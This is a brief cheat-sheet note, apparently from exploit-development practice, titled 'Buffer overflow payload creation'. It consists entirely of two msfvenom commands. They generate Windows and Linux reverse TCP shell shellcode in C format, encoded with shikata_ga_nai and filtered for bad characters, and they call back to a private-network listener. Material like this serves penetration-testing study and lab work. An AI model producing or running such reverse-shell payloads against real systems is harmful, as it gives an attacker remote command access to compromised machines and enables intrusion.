Buffer overflow payload creation

// payload creation with badchars

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.102 LPORT=1234 EXITFUNC=thread –e x86/shikata_ga_nai -b "\x00\x2d\x2e\x46\x47\x59\x5e\x60" -f c


msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=1234 EXITFUNC=thread -b "\x00\x2d\x2e\x46\x47\x59\x5e\x60" -f c